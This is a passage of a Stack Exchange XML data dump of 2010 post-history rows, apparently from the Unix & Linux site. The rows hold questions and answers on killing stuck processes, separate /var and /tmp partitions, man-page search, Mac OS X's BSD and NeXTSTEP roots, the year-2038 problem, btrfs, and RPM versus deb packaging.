http://en.opensuse.org//openSUSE:Build_Service_Tutorial" />
  <row Id="1264" PostHistoryTypeId="2" PostId="683" RevisionGUID="a0bab9e9-b41e-440d-aaea-8e359302b162" CreationDate="2010-08-18T12:02:06.193" UserId="571" Text="In addition to the extra features already mentioned in less, it also has a 'v' command which opens the current file in 'vi' at the same position. When you exit 'vi', you will be back in less with the (possibly updated) file shown." />
  <row Id="1265" PostHistoryTypeId="2" PostId="684" RevisionGUID="3dacebcd-4414-4a57-8036-d8a46d0bd817" CreationDate="2010-08-18T12:10:48.627" UserId="566" Text="I am running debian right now and sometimes i have to kill java manually from the terminal.&#xD;&#xA;so sometimes when i try kill #pid# or pkill java nothing happens. no console output (ok, thats normal) and java is still running (not normal).&#xD;&#xA;The only way to kill it is to restart the PC.&#xD;&#xA;any suggestions? " />
  <row Id="1266" PostHistoryTypeId="1" PostId="684" RevisionGUID="3dacebcd-4414-4a57-8036-d8a46d0bd817" CreationDate="2010-08-18T12:10:48.627" UserId="566" Text="kill java doesnt kill java" />
  <row Id="1267" PostHistoryTypeId="3" PostId="684" RevisionGUID="3dacebcd-4414-4a57-8036-d8a46d0bd817" CreationDate="2010-08-18T12:10:48.627" UserId="566" Text="ékillà" />
  <row Id="1268" PostHistoryTypeId="2" PostId="685" RevisionGUID="7459dfde-5d66-4652-9927-d9424e3ed0b3" CreationDate="2010-08-18T12:18:02.713" UserId="210" Text="So recently a Debian 5.0.5 installer offered me to have separate `/usr`, `/home`, `/var` and `/tmp` partitions (on one physical disk).&#xD;&#xA;&#xD;&#xA;What is the practical reason for this? I understand that `/home` can be advantageous to put on a separate partition, because user files can be encrypted separately, but why for anything else?" />
  <row Id="1269" PostHistoryTypeId="1" PostId="685" RevisionGUID="7459dfde-5d66-4652-9927-d9424e3ed0b3" CreationDate="2010-08-18T12:18:02.713" UserId="210" Text="Why put things other than /home to a separate partition?" />
  <row Id="1270" PostHistoryTypeId="3" PostId="685" RevisionGUID="7459dfde-5d66-4652-9927-d9424e3ed0b3" CreationDate="2010-08-18T12:18:02.713" UserId="210" Text="élinuxàépartitionà" />
  <row Id="1271" PostHistoryTypeId="2" PostId="686" RevisionGUID="1e1790d3-3eae-4363-91ee-90d7f961a02c" CreationDate="2010-08-18T12:23:45.790" UserId="57" Text="[&quot;Design of the UNIX Operating System&quot;][1] would be good book to read.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Design-UNIX-Operating-System-Maurice/dp/0132017997" />
  <row Id="1272" PostHistoryTypeId="2" PostId="687" RevisionGUID="d61e0375-7bbc-43f9-a7b0-7a9fbc900d72" CreationDate="2010-08-18T12:30:14.297" UserId="57" Text="May be due to some reason its ignoring the signal.   &#xD;&#xA;Did you tried `kill -9`.  &#xD;&#xA;But please note:  &#xD;&#xA;kill -9 cannot be ignored or trapped. If a process sees signal 9, it has no choice but to ie. It can't do anything else- not even gracefully clean up its files." />
  <row Id="1273" PostHistoryTypeId="2" PostId="688" RevisionGUID="d9e3bb59-73f7-4538-8535-b7391dc685db" CreationDate="2010-08-18T12:40:07.130" UserId="57" Text="`man -a &lt;xyz&gt;` opens all the man pages one by one which contain xyz.  &#xD;&#xA;On my unix servers man -a &lt;xyz&gt; dont work.   &#xD;&#xA;Any alternative for this for unix.&#xD;&#xA;" />
  <row Id="1274" PostHistoryTypeId="1" PostId="688" RevisionGUID="d9e3bb59-73f7-4538-8535-b7391dc685db" CreationDate="2010-08-18T12:40:07.130" UserId="57" Text="Any alternative of  &quot;man -a&quot; UNIX?" />
  <row Id="1275" PostHistoryTypeId="3" PostId="688" RevisionGUID="d9e3bb59-73f7-4538-8535-b7391dc685db" CreationDate="2010-08-18T12:40:07.130" UserId="57" Text="éunixàémanà" />
  <row Id="1276" PostHistoryTypeId="2" PostId="689" RevisionGUID="3ad45a86-3bc6-4933-b95f-6a9777e81edd" CreationDate="2010-08-18T12:43:13.333" UserId="559" Text="UNIX is a strong OS, build on a sound design that has proven successful for more than 40 years (that's almost eternity in computer science). The central technology is based on the C language and a myriad of small programs: the UNIX commands. The basic philosophy has been summarized by McIlroy:&#xD;&#xA;&#xD;&#xA;&gt; Write programs that do one thing and do it well. Write programs to work together. Write programs to handle text streams, because that is a universal interface.&#xD;&#xA;&#xD;&#xA;More on the UNIX philosophy can be found in E.S.Raymond &quot;The Art of UNIX Programming&quot;." />
  <row Id="1277" PostHistoryTypeId="2" PostId="690" RevisionGUID="3857b123-dd64-4579-8727-95c3da7c78f5" CreationDate="2010-08-18T12:50:47.327" UserId="559" Text="A separate `/usr` can be useful if you have several machines sharing the same OS. They can share a single central `/usr` instead of duplicating it on every system. `/usr` can be mounted read-only.&#xD;&#xA;&#xD;&#xA;`/var` and `/tmp` can be filled up by user programs or daemons. Therefore it can be safe to have these in separate partitions that would prevent `/`, the root partition, to be 100% full, and would hit your system badly. To avoid having two distinct partitions for these, it is not uncommon to see `/tmp` being a symlink to `/var/tmp`." />
  <row Id="1278" PostHistoryTypeId="2" PostId="691" RevisionGUID="add19a56-e7f7-4a2f-b1f2-4941fa247981" CreationDate="2010-08-18T12:57:08.267" UserId="221" Text="Because ordinary users can cause things to be written to /var and /tmp, and thus potentially cause problems for the whole system. This way user processes can fill up /var and /tmp, but not the root fs. A separate /usr is useful for /usr over NFS, or other remote fs. &#xD;&#xA;(I hope this is clear, I haven't had any coffee yet)" />
  <row Id="1279" PostHistoryTypeId="2" PostId="692" RevisionGUID="bfa1a179-f212-441a-a206-6726fc550cb0" CreationDate="2010-08-18T12:58:33.990" UserId="62" Text="Is apropos available on the system? It can be used to search for man pages. &#xD;&#xA;&#xD;&#xA;With a quick one-liner, it can come close to the `man -a` behaviour&#xD;&#xA;&#xD;&#xA;    man `apropos -el apt | awk -F&quot;)&quot; '{print $1}' | awk -F&quot;(&quot; '{print $2, $1}'`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1281" PostHistoryTypeId="2" PostId="694" RevisionGUID="36951538-db3c-4351-b58d-ef60aa3c974e" CreationDate="2010-08-18T13:19:07.877" UserDisplayName="razialx" Text="When my University decided to switch the wireless network to use proprietary Cisco LEAP authentication... &#xD;&#xA;&#xD;&#xA;Started a very long battle that ended well enough. Wrote up documentation for others who wanted to run Linux and have access to the internet. Six months later they decided to add PEAP support as well. *face slap* &#xD;&#xA;&#xD;&#xA;It is my favorite because I won. I got it to work. " />
  <row Id="1282" PostHistoryTypeId="16" PostId="694" RevisionGUID="36951538-db3c-4351-b58d-ef60aa3c974e" CreationDate="2010-08-18T13:19:07.877" UserId="-1" />
  <row Id="1283" PostHistoryTypeId="2" PostId="695" RevisionGUID="6b18f9ce-6c54-4f6e-bf73-5459b174d11f" CreationDate="2010-08-18T13:35:45.170" UserId="559" Text="Discussing with Mac owners, I got several versions of where the Mac OS comes from. It is knows to have some root in BSD, but how much, and where?&#xD;&#xA;&#xD;&#xA;Some tells that MacOS is a FreeBSD kernel, with all the utilities above that makes it an OS being Mac specific. (Not speaking about user apps here, only all of the init, ls, cd, and others. *binutils?* )&#xD;&#xA;&#xD;&#xA;Other tells that MacOS is a Darwin kernel, that is pure Mac, and that the OS utilities come from BSD.&#xD;&#xA;&#xD;&#xA;Where's the truth?" />
  <row Id="1284" PostHistoryTypeId="1" PostId="695" RevisionGUID="6b18f9ce-6c54-4f6e-bf73-5459b174d11f" CreationDate="2010-08-18T13:35:45.170" UserId="559" Text="Where does Mac OS come from?" />
  <row Id="1285" PostHistoryTypeId="3" PostId="695" RevisionGUID="6b18f9ce-6c54-4f6e-bf73-5459b174d11f" CreationDate="2010-08-18T13:35:45.170" UserId="559" Text="éfreebsdàébsdàémacöosà" />
  <row Id="1286" PostHistoryTypeId="2" PostId="696" RevisionGUID="f3cb4080-b69e-4d9c-ab3d-03a952d0e438" CreationDate="2010-08-18T13:49:00.600" UserId="5" Text="The issue is that a full root fs makes the linux system unoperable to an extend that even an admin fix it without a recovery CD or similar. When `/tmp` and `/var` and in particular `/home` are in a separate partition, the root fs cannot never fill up without an admin doing it. Take `/usr` into the mix in which all the usual installs will be placed, and even installing new software cannot cause this problem." />
  <row Id="1287" PostHistoryTypeId="2" PostId="697" RevisionGUID="80d98fa0-d92a-4627-aca5-dc7d6eff2b2d" CreationDate="2010-08-18T13:49:22.407" UserId="138" Text="On the Unix side, OS X is a descendant of &lt;a href=&quot;http://en.wikipedia.org/wiki/NeXTSTEP&quot;&gt;NeXTSTEP&lt;/a&gt;, which was derived from 4.3BSD with the core parts of the kernel replaced with &lt;a href=&quot;http://en.wikipedia.org/wiki/Mach_kernel&quot;&gt;Mach&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;The NeXT programming API, which eventually came to be called &lt;a href=&quot;http://en.wikipedia.org/wiki/Openstep&quot;&gt;OpenStep&lt;/a&gt;, is the basis of today's Cocoa API for OS X.  Obviously there have been 10 years further development on Cocoa, so the two APIs have diverged, though there are ongoing efforts to provide open source API-compatible Cocoa clones.&#xD;&#xA;&#xD;&#xA;Add to that the Classic MacOS compatibility API, called Carbon, and you have OS X.&#xD;&#xA;&#xD;&#xA;As for the FreeBSD kernel idea, it's sorta correct, but it's an unsophisticated way to look at it.  The original kernel came, as I said, from NeXT, which assembled their first kernel from 4.3BSD and Mach.  This means that both FreeBSD and NeXTSTEP shared some code via 4.3BSD.  The meme that OS X has some FreeBSD in it, however, has two more recent sources.  First, Apple has continued to borrow innovations from the BSD world, usually from FreeBSD.  Second, Apple hired FreeBSD project co-founder &lt;a href=&quot;http://en.wikipedia.org/wiki/Jordan_Hubbard&quot;&gt;Jordan Hubbard&lt;/a&gt; not long after making the first public OS X release.  As far as I can tell, he still works for Apple." />
  <row Id="1288" PostHistoryTypeId="2" PostId="698" RevisionGUID="b571cb50-4b09-43b9-a805-a77ebba94515" CreationDate="2010-08-18T13:49:57.600" UserId="413" Text="In general, the arguments for having separate partitions are: &#xD;&#xA;&#xD;&#xA;1. Security: you can, for example, mount a partition read-only to keep malicious users (or processes) from overwriting or replacing binaries there with trojans. So if your ssh binary lives in /usr/local/bin and /usr/local is mounted read-only, it's going to be tough for anyone to replace that binary. &#xD;&#xA;&#xD;&#xA;2. Flexibility/Convenience: for example, if you set up /var on its own partition and it gets to 80% full, you can resize it, or even move it to another disk if need be. I'd rather have to do that than deal with a system whose '/' is 100% full because logs under /var have gone haywire in some way. Different partitions can also have different filesystems entirely, allowing your OS to use ext3 (for example) and your database to use ext4, or your object repository to use XFS, or your custom app to use... raw devices!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1290" PostHistoryTypeId="2" PostId="700" RevisionGUID="86ddadf3-9db4-4088-ab36-add8f191847c" CreationDate="2010-08-18T14:01:58.743" UserId="27" Text="The Y2K problem was two charters representing the date instead of four.&#xD;&#xA;&#xD;&#xA;Many system had no way to distinguish between 2001 from 1901 since they only stored the '01'.&#xD;&#xA;&#xD;&#xA;Almost all system either now of 4 chars to store the year, or they use a library of some sort.&#xD;&#xA;&#xD;&#xA;So lets all worry about the year 10000 instead." />
  <row Id="1291" PostHistoryTypeId="2" PostId="701" RevisionGUID="59bdc0b2-fa28-4ce7-a0d3-23b918431d78" CreationDate="2010-08-18T14:04:43.480" UserId="272" Text="Main difference for a package maintainer (I think that would be 'developer' in Debian lingo) is the way package meta-data and accompanying scripts come together.&#xD;&#xA;&#xD;&#xA;In the RPM world, all your packages (the RPM's you maintain) are located in something like ~/rpmbuild. Underneath, there is the SPEC directory for you spec-files, a SOURCES directory for source tarballs, RPMS and SRPMS directories to put newly created RPMs and SRPMs into and some other things that are not relevant now.&#xD;&#xA;&#xD;&#xA;*Everything* that has to do with how the RPM will be created, is in the spec-file: what patches will be applied, possible pre and post-scripts, meta-data, changelog, everything. All source tarballs and all patches of *all your packages* are in SOURCES.&#xD;&#xA;&#xD;&#xA;Now, personally, I like the fact that everything goes into the spec-file, and that the spec-file is a separate entity from the source tarball, but I'm not overly enthusiastic about having *all* sources in SOURCES. Imho, SOURCES gets cluttered pretty quick and you tend to loose track of what is in there. However, opinions differ.&#xD;&#xA;&#xD;&#xA;For RPM's it is important to use the *exact* same tarball as the one the upstream project releases, up to the timestamp.&#xD;&#xA;&#xD;&#xA;Debian packages take a different approach. (Forgive any mistakes here: I am a lot less experienced with deb's that I am with RPM's.) Debian packages' development files are contained in a directory per package. To be more exact: the upstream tarball is altered to contain the meta-data and scripts (etc.) to create the Debian package. &#xD;&#xA;&#xD;&#xA;What I (think to) like about this approach is the fact that everything is contained in a single directory. What I don't like is the altering of upstream's tarball. But again, opinions differ.&#xD;&#xA;&#xD;&#xA;In the Debian world, it is a bit more accepted to carry patches in a package that are not (yet) upstream. In the RPM world (at least among the Red Hat derivates) this is frowned upon. &#xD;&#xA;&#xD;&#xA;Also, Debian has a vast amount of scripts that are able to automate a huge portion of creating a package. For example, creating a - simple - package of a setuptool'ed Python program, is as simple as creating a couple of meta-data files and running debuild. That said, the spec-file for such package in RPM format would be pretty short and in the RPM world, too, there's a lot of stuff that is automated these days." />
  <row Id="1292" PostHistoryTypeId="5" PostId="700" RevisionGUID="cee6d3da-366d-4461-b6ce-e75e20cd788e" CreationDate="2010-08-18T14:07:41.053" UserId="27" Comment="edited body; added 7 characters in body; edited body; added 42 characters in body; added 1 characters in body" Text="The Y2K problem was two charters representing the year instead of four.&#xD;&#xA;&#xD;&#xA;Many system had no way to distinguish between 2000 from 1900 since they only stored the '00'.&#xD;&#xA;&#xD;&#xA;Almost all system either now use 4 chars to store the year, or they use a library of some sort.&#xD;&#xA;&#xD;&#xA;So lets all worry about the year 10000 (Y10K) instead.  Except for the OS and Library writers..." />
  <row Id="1293" PostHistoryTypeId="5" PostId="678" RevisionGUID="7d701f45-d1a6-48dc-aa09-784f34b25d8c" CreationDate="2010-08-18T14:12:22.960" UserId="138" Comment="clarity" Text="There's a good chance you're running into some character coding issue. The file you're trying to grep could be in a different character encoding than your system's default encoding. Unixy systems typically default to UTF-8 these days, which is compatible with 7-bit ASCII, but not with any of the 8-bit ASCII extensions.  Common 8-bit encodings in the US are &lt;a href=&quot;http://en.wikipedia.org/wiki/ISO/IEC_8859-1&quot;&gt;ISO 8859-1&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Windows-1252&quot;&gt;Windows CP-1252&lt;/a&gt;.  There are dozens more used in the rest of the world.&#xD;&#xA;&#xD;&#xA;`grep` assumes all input is in your default system encoding.  To `grep` a file in a different encoding, use `iconv` to convert it:&#xD;&#xA;&#xD;&#xA;    $ iconv -f iso8859-1 -t utf8 myfile.txt | grep something&#xD;&#xA;&#xD;&#xA;I realize this is highly inconvenient for your recursive example, but the broader lesson is that if that fixes the problem, you should convert all the text files in that directory tree so they're compatible with your system character encoding.  If you need Windows text editor compatibility, don't worry, most Windows text editors that focus on code editing cope with UTF-8, even though Windows uses UTF-16 natively these days.&#xD;&#xA;&#xD;&#xA;Another possibility is that your file uses curly quotes.  The quotes you type on your keyboard are straight quotes -- ASCII 39 -- but some word processors and text editors replace them with curly quotes, or &lt;a href=&quot;http://www.fileformat.info/info/unicode/char/2019/&quot;&gt;U+2019&lt;/a&gt; in this example.&#xD;&#xA;&#xD;&#xA;I like to use this command for poking through a file to investigate character coding issues:&#xD;&#xA;&#xD;&#xA;    $ od -t x1 &lt; myfile.txt | less&#xD;&#xA;&#xD;&#xA;There are various &quot;hexdump&quot; programs available, but they often do unhelpful things like display the data as 16-bit words in little-endian format.  Because `od` doesn't also have a printable text display column like any decent hexdump program, though, it works best for short files.  I often cut down the example to something easy to test first." />
  <row Id="1295" PostHistoryTypeId="2" PostId="702" RevisionGUID="5b8d8bf8-2bc6-423e-ab1f-097b07bf23fc" CreationDate="2010-08-18T14:27:33.657" UserId="305" Text="    #include &lt;time.h&gt;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;&#xD;&#xA;    int main() {&#xD;&#xA;      time_t t = (time_t)(1L &lt;&lt; (sizeof(time_t)*8 - 9));&#xD;&#xA;      printf(&quot;%d\n&quot;, sizeof(time_t));&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;it should be 1 instead of 9 but ctime does not handle larger date:&#xD;&#xA;&#xD;&#xA;    8 - Sun Jun 13 07:26:08 1141709097&#xD;&#xA;&#xD;&#xA;My system (64 bit of course) time can run even 1 million years more. The solution is to update the systems to 64 bits.&#xD;&#xA;&#xD;&#xA;The catch is that the programs may not handle it. Especially old, propertary and not maintained. Devs are used to following facts:&#xD;&#xA;&#xD;&#xA;- `int`'s are 32 bits (in fact they are preserved as 32 bits on 64-bit systems among others because it was assumed they are 32 bit always)&#xD;&#xA;- Most types (such as `time_t`) can safely be casted on `int`&#xD;&#xA;&#xD;&#xA;In popular FLOSS software both things will probably not get through the 'many eyes' review. On less popular and propertary it will largly depend on author.&#xD;&#xA;&#xD;&#xA;I guess on free *nix world the 2038 will get 'unnoticed' while I do expect problems on &quot;propertary&quot; platforms (i.e. those with large number of propertary software) - especially if some of the crutial part will not be maintained." />
  <row Id="1296" PostHistoryTypeId="2" PostId="703" RevisionGUID="9ac2f227-dddb-4adb-8ee1-27e72f4762ee" CreationDate="2010-08-18T14:37:20.437" UserId="305" Text="What do you mean by &quot;home backup scenario&quot;? If you mean system that is backuped regulary and you can afford lost of some work (`btrfs` is only fs for /home without crutial data) I'd say you can try it if you feel very adventorous.&#xD;&#xA;&#xD;&#xA;If you mean fs that underlaying backup you probably need rock-stable filesystem - like ext3/4 with ultra conservative options ([Your millage may vary][1] which filesystem). Neither zfs-fuse nor btrfs are stable enough.&#xD;&#xA;&#xD;&#xA;If you mean that snapshots are your &quot;backup&quot; method - then you have no backup.&#xD;&#xA;&#xD;&#xA;Probably you should read [gotchas][2] and ask youself at each point &quot;can I afford it happening?&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: http://tvtropes.org/pmwiki/pmwiki.php/Main/YourMileageMayVary&#xD;&#xA;  [2]: https://btrfs.wiki.kernel.org/index.php/Gotchas" />
  <row Id="1297" PostHistoryTypeId="2" PostId="704" RevisionGUID="7cfd8395-1fdd-471f-ae82-b5881b512516" CreationDate="2010-08-18T14:48:41.593" UserId="394" Text="I want to see a long listing for a single directory. When I type `ls -lha`, I see this:&#xD;&#xA;&#xD;&#xA;    drwxrwxr-x  4 username groupname 4.0K 2010-08-05 09:55 files&#xD;&#xA;    drwxrwxr-x  7 username groupname 4.0K 2010-08-05 14:25 trunk&#xD;&#xA;    drwxrwxr-x  8 username groupname 4.0K 2010-08-05 16:02 phpincludes&#xD;&#xA;    drwxrwxr-x 11 username groupname 4.0K 2010-07-26 12:31 phpMyAdmin-3.3.5-english&#xD;&#xA;&#xD;&#xA;However, when I type `ls -lha phpMyAdmin-3.3.5`, I get a listing of the contents of the directory. How do I type the command so that I see only &#xD;&#xA;&#xD;&#xA;    drwxrwxr-x 11 username groupname 4.0K 2010-07-26 12:31 phpMyAdmin-3.3.5-english&#xD;&#xA;&#xD;&#xA;? I want to do this with symlinked directories, so I can see where they're linked to, not their contents. " />
  <row Id="1298" PostHistoryTypeId="1" PostId="704" RevisionGUID="7cfd8395-1fdd-471f-ae82-b5881b512516" CreationDate="2010-08-18T14:48:41.593" UserId="394" Text="How do I get a long listing for a single directory?" />
  <row Id="1299" PostHistoryTypeId="3" PostId="704" RevisionGUID="7cfd8395-1fdd-471f-ae82-b5881b512516" CreationDate="2010-08-18T14:48:41.593" UserId="394" Text="écommandölineàéshellàélsà" />
  <row Id="1300" PostHistoryTypeId="2" PostId="705" RevisionGUID="ee4e17bc-5542-4f6b-94d2-616357bcddcd" CreationDate="2010-08-18T14:50:20.903" UserId="305" Text="As Linux distros is mostly OpenSource there is largly transition already done. Unless you use propertary software (such as skype) you can run pure 64-bit system without any disadvantages.&#xD;&#xA;&#xD;&#xA;However the real difference IMHO is more propertary vs. open then unix vs. windows as it is usually the open source software that is ported first (some volonteer needs to recompile something - maybe fix some compilation issues) - or in most cases not ported at all but just recompiled ;) - and propertary that is ported last.&#xD;&#xA;&#xD;&#xA;Possibly additionally on Linux you have repos so the installation is handled automagically - you don't need to choose 64-bit or 32-bit version (system chooses yours automatically). On Windows programs are downloaded and having separate 64-bit and 32-bit version:&#xD;&#xA;&#xD;&#xA; - Doubles the size of files on server&#xD;&#xA; - Requires of user to know his/her version. Or even that they differ by something&#xD;&#xA;&#xD;&#xA;I guess that's the reason why Windows binaries are usually 32-bit - it is one-size-fits-all and not everyone have gone to 64-bit version." />
  <row Id="1301" PostHistoryTypeId="2" PostId="706" RevisionGUID="aa44518c-deca-45f3-b7a5-f6c46372dda8" CreationDate="2010-08-18T14:51:30.463" UserId="272" Text="From my /etc/fstab:&#xD;&#xA;&#xD;&#xA;    /dev/mapper/VolGroup00-LogVol00   /   btrfs   defaults 1 1&#xD;&#xA;&#xD;&#xA;So, in a way, yes, it is. I haven't had a single problem with it. However, I reinstall often (I use Fedora, so I install a new release twice a year) and:&#xD;&#xA;&#xD;&#xA;    /dev/mapper/VolGroup00-LogVol02   /home   ext4   defaults 1 2&#xD;&#xA;&#xD;&#xA;my /home is *not* on btrfs. :)&#xD;&#xA;&#xD;&#xA;Testing new stuff. It's a dirty job, but somebody has to do it." />
  <row Id="1302" PostHistoryTypeId="2" PostId="707" RevisionGUID="4d2ee855-6a91-4964-af98-f834aecdd564" CreationDate="2010-08-18T14:53:15.937" UserId="481" Text="    ls -lhad phpMyAdmin-3.3.5-english&#xD;&#xA;&#xD;&#xA;The `-d` flag is used to tell `ls` that you want to show the properties of the given directory, not its contents." />
  <row Id="1303" PostHistoryTypeId="2" PostId="708" RevisionGUID="84963af4-6720-43fc-9af1-db8de00b4c57" CreationDate="2010-08-18T15:10:59.373" UserId="289" Text="If it's anything like Y2K, some people have already been affected and are changing software, but most developers will ignore it until sometime in the 2030s, probably 2035 or so, at which point there will be a lot of work done, and anybody old enough to know K&amp;R C and not yet too senile will suddenly be able to contract out for a lot of money.  The actual transition will show a lot of things not yet done, probably none all that important." />
  <row Id="1304" PostHistoryTypeId="6" PostId="695" RevisionGUID="c30da59c-9ad5-41a0-a412-43f472701ad6" CreationDate="2010-08-18T15:48:41.413" UserId="125" Comment="edited tags" Text="éfreebsdàébsdàémacöosàémacà" />
  <row Id="1305" PostHistoryTypeId="2" PostId="709" RevisionGUID="84983608-024c-497a-a763-672b6c9480ec" CreationDate="2010-08-18T16:10:47.720" UserId="363" Text="The openSUSE Build Service (OBS) and zypper are a couple of the reasons I prefer RPM over deb from a packager and user point of view.  Zypper has come a long way and is pretty dang fast.  OBS, although it can handle debs, is really nice when it comes to packaging rpms for various platforms such as openSUSE, SLE, RHEL, centos, fedora, mandriva, etc." />
  <row Id="1306" PostHistoryTypeId="2" PostId="710" RevisionGUID="7f670c88-4256-4f6e-926b-db609606d554" CreationDate="2010-08-18T16:16:08.870" UserId="125" Text="Read [this][1] and [this][2] . It will help you understand how kill command works.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can search for the java pid with: &#xD;&#xA;&#xD;&#xA;&gt; pgrep -l java or pidof java&#xD;&#xA;&#xD;&#xA;  [1]: http://is.gd/ens7D&#xD;&#xA;  [2]: http://www.linuxjournal.com/article/1332" />
  <row Id="1307" PostHistoryTypeId="5" PostId="710" RevisionGUID="e9bc4f32-89e0-4a45-b0fb-8693696bd58e" CreationDate="2010-08-18T16:22:33.373" UserId="125" Comment="added 91 characters in body; added 144 characters in body" Text="Read [this][1], [this][2] and [this][3] . It will help you understand how kill command works.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can search for the java pid with: &#xD;&#xA;&#xD;&#xA;&gt; pgrep -l java or pidof java&#xD;&#xA;&#xD;&#xA;Maybe you have zombie processes on the system, in that case read [here][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://is.gd/ens7D&#xD;&#xA;  [2]: http://www.comptechdoc.org/os/linux/usersguide/linux_ugprocesses.html&#xD;&#xA;  [3]: http://www.linuxjournal.com/article/1332&#xD;&#xA;  [4]: http://www.cyberciti.biz/tips/killing-zombie-process.html" />
  <row Id="1308" PostHistoryTypeId="2" PostId="711" RevisionGUID="68ff6f1c-d777-46b1-936a-2ee82969ddbd" CreationDate="2010-08-18T16:25:08.860" UserId="78" Text="There are always emcas-based info pages:&#xD;&#xA;&#xD;&#xA;    $ info --apropos=man&#xD;&#xA;    $ info --apropos=info" />
  <row Id="1309" PostHistoryTypeId="6" PostId="695" RevisionGUID="07cb67d0-24cb-4b25-b756-ee73e616e30c" CreationDate="2010-08-18T16:26:09.093" UserId="85" Comment="edited tags" Text="éosxàéfreebsdàébsdà" />
  <row Id="1310" PostHistoryTypeId="5" PostId="701" RevisionGUID="528b4889-fff5-4d33-95f9-6c6229d3ffde" CreationDate="2010-08-18T16:27:24.630" UserId="272" Comment="Altered according to Umang's comments" Text="Main difference for a package maintainer (I think that would be 'developer' in Debian lingo) is the way package meta-data and accompanying scripts come together.&#xD;&#xA;&#xD;&#xA;In the RPM world, all your packages (the RPM's you maintain) are located in something like ~/rpmbuild. Underneath, there is the SPEC directory for you spec-files, a SOURCES directory for source tarballs, RPMS and SRPMS directories to put newly created RPMs and SRPMs into and some other things that are not relevant now.&#xD;&#xA;&#xD;&#xA;*Everything* that has to do with how the RPM will be created, is in the spec-file: what patches will be applied, possible pre and post-scripts, meta-data, changelog, everything. All source tarballs and all patches of *all your packages* are in SOURCES.&#xD;&#xA;&#xD;&#xA;Now, personally, I like the fact that everything goes into the spec-file, and that the spec-file is a separate entity from the source tarball, but I'm not overly enthusiastic about having *all* sources in SOURCES. Imho, SOURCES gets cluttered pretty quick and you tend to loose track of what is in there. However, opinions differ.&#xD;&#xA;&#xD;&#xA;For RPM's it is important to use the *exact* same tarball as the one the upstream project releases, up to the timestamp.&#xD;&#xA;&#xD;&#xA;Debian packages take a different approach. (Forgive any mistakes here: I am a lot less experienced with deb's that I am with RPM's.) Debian packages' development files are contained in a directory per package.&#xD;&#xA;&#xD;&#xA;What I (think to) like about this approach is the fact that everything is contained in a single directory.&#xD;&#xA;&#xD;&#xA;In the Debian world, it is a bit more accepted to carry patches in a package that are not (yet) upstream. In the RPM world (at least among the Red Hat derivates) this is frowned upon. &#xD;&#xA;&#xD;&#xA;Also, Debian has a vast amount of scripts that are able to automate a huge portion of creating a package. For example, creating a - simple - package of a setuptool'ed Python program, is as simple as creating a couple of meta-data files and running debuild. That said, the spec-file for such package in RPM format would be pretty short and in the RPM world, too, there's a lot of stuff that is automated these days." />
  <row Id="1311" PostHistoryTypeId="2" PostId="712" RevisionGUID="090b2868-037e-4b74-8883-1a4a0a027907" CreationDate="2010-08-18T16:35:10.427" UserId="569" Text="The easiest way is:&#xD;&#xA;&#xD;&#xA;    $ sw_vers -productVersion&#xD;&#xA;    10.6.4&#xD;&#xA;&#xD;&#xA;From http://tinyapps.org/blog/mac/201008140700_os_x_version_terminal.html:&#xD;&#xA;&gt;     $ sw_vers&#xD;&#xA;&gt;     ProductName:    Mac OS X&#xD;&#xA;&gt;     ProductVersion: 10.6.4 BuildVersion:  &#xD;&#xA;&gt;     10F569&#xD;&#xA;&gt;     $ sw_vers -productVersion&#xD;&#xA;&gt;     10.6.4&#xD;&#xA;&gt; &#xD;&#xA;&gt; Especially handy when resetting a password in single user mode, since the method varies based on which version of OS X is running.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1312" PostHistoryTypeId="5" PostId="712" RevisionGUID="056a0eb5-9f0f-4940-a12f-fa2fb74e3e44" CreationDate="2010-08-18T16:58:14.360" UserId="569" Comment="added 7 characters in body" Text="The easiest way is:&#xD;&#xA;&#xD;&#xA;    $ sw_vers -productVersion&#xD;&#xA;    10.6.4&#xD;&#xA;&#xD;&#xA;From http://tinyapps.org/blog/mac/201008140700_os_x_version_terminal.html:&#xD;&#xA;&gt;     $ sw_vers&#xD;&#xA;&gt;     ProductName:    Mac OS X&#xD;&#xA;&gt;     ProductVersion: 10.6.4&#xD;&#xA;&gt;     BuildVersion:  &#xD;&#xA;&gt;     10F569&#xD;&#xA;&gt;     $ sw_vers -productVersion&#xD;&#xA;&gt;     10.6.4&#xD;&#xA;&gt; &#xD;&#xA;&gt; Especially handy when resetting a password in single user mode, since the method varies based on which version of OS X is running.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1313" PostHistoryTypeId="2" PostId="713" RevisionGUID="4b2c0fd5-9217-43a1-8abd-66ba3322c6ef" CreationDate="2010-08-18T17:23:21.217" UserId="228" Text="The history of MacOS is a little bit more convoluted.   I was very interested in this in the late 90's as Mach had been pitched around the world as a faster way of building a Unix system.&#xD;&#xA;&#xD;&#xA;The origin of the kernel is a bit more complicated.&#xD;&#xA;&#xD;&#xA;It all starts with AT&amp;T distributing their operating system to some universities for free.   This Unix was improved extensively at Berkeley and became the foundation for the BSD variations of Unix and incorporated several new innovations like the &quot;Fast File System&quot; (UFS), introduced symlinks and the sockets API.   AT&amp;T went on their own way and built System V at the same time.&#xD;&#xA;&#xD;&#xA;Meanwhile, research continued and some folks adopted the work from BSD as a foundation.    At CMU, the BSD kernel was used as the foundation for prototyping a few new ideas: threads, an API to control the virtual memory system (through pluggable &quot;pagers&quot; - user level mmap), a kernel-level remote procedure call system and most importantly the idea of moving some kernel level operations to user space.   This became the Mach kernel.&#xD;&#xA;&#xD;&#xA;I am not 100% sure if mmap came from Mach, and later was adopted by BSD, or if Mach merely pioneered the idea and BSD added their own mmap based on the ideas of Mach.&#xD;&#xA;&#xD;&#xA;Although the Mach kernel was described as a micro-kernel, up to version 2.5 it was merely a system that provided the thread, mmap, message passing features but remained a monolithic kernel, all the services were running on kernel mode.&#xD;&#xA;&#xD;&#xA;At this time Rick Rashid (now at Microsoft) and Avie 